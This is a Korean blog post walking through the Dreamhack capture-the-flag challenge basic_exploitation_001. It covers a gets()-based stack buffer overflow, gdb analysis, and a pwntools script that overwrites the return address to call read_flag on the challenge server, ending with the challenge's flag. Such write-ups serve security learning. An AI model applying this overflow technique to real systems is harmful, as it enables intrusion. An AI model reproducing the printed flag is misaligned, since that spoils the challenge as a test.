[Dreamhack] basic_exploitation_001

Sisyphus·2022년 7월 15일
0

문제 소스코드를 출력해보면

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {	// flag 파일을 읽어주는 함수
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];	// buf[128]

    initialize();
    
    gets(buf);	// 크기에 제한없이 buf에 입력을 받음

    return 0;
}
  • gets() 함수로 크기에 제한 없이 입력을 받고 있기 때문에 버퍼 오버플로우 공격이 가능합니다.

  • read_flag() 함수를 실행시키면 flag 파일을 읽을 수 있기 때문에, RET에 read_flag() 함수의 주소가 들어가게 하면 될 거 같습니다.


gdb로 문제 파일을 봐보면

gdb-peda$ pdisas main
Dump of assembler code for function main:
   0x080485cc <+0>:     push   ebp
   0x080485cd <+1>:     mov    ebp,esp
   0x080485cf <+3>:     add    esp,0xffffff80
   0x080485d2 <+6>:     call   0x8048572 <initialize>
   0x080485d7 <+11>:    lea    eax,[ebp-0x80]		// eax = buf(ebp-128)
   0x080485da <+14>:    push   eax					// push buf
   0x080485db <+15>:    call   0x80483d0 <gets@plt>	// gets(buf)
   0x080485e0 <+20>:    add    esp,0x4
   0x080485e3 <+23>:    mov    eax,0x0
   0x080485e8 <+28>:    leave  
   0x080485e9 <+29>:    ret    
End of assembler dump.

read_flag() 함수의 주소를 찾아보면

gdb-peda$ info functions 
All defined functions:

Non-debugging symbols:
0x08048398  _init
0x080483d0  gets@plt
0x080483e0  signal@plt
0x080483f0  alarm@plt
0x08048400  puts@plt
0x08048410  system@plt
0x08048420  exit@plt
0x08048430  __libc_start_main@plt
0x08048440  setvbuf@plt
0x08048450  __gmon_start__@plt
0x08048460  _start
0x08048490  __x86.get_pc_thunk.bx
0x080484a0  deregister_tm_clones
0x080484d0  register_tm_clones
0x08048510  __do_global_dtors_aux
0x08048530  frame_dummy
0x0804855b  alarm_handler
0x08048572  initialize
0x080485b9  read_flag
0x080485cc  main
0x080485f0  __libc_csu_init
0x08048650  __libc_csu_fini
0x08048654  _fini
read_flag() → 0x080485b9

메모리 구조를 그려보면

  • buf~EBP ← NOP[132]
    RET ← read_flag() 함수의 주소

  • 를 넣어주면 본 함수 종료 후 read_flag() 함수로 점프해서 flag값이 출력될 거 같습니다.


pwntools로 익스플로잇 코드를 짜 보면

from pwn import *

p = remote("host3.dreamhack.games", 9955)	# 원격 서버에 연결

read_flag = p32(0x080485b9)	# read_flag 함수의 주소를 리틀 엔디안 방식으로 패킹

payload = b"\x90"*132	# payload = NOP[132]
payload += read_flag	# payload = NOP[132] + read_flag

p.sendline(payload)	# payload 입력
p.interactive()	# 사용자에게 입출력을 돌려줌

익스플로잇 코드를 실행시키면

⚡ root  ~/dreamhack  python exploit002.py
[+] Opening connection to host3.dreamhack.games on port 9955: Done
[*] Switching to interactive mode
$ 
DH{01ec06f5e1466e44f86a79444a7cd116}[*] Got EOF while reading in interactive
$

플래그가 출력되었습니다.

0개의 댓글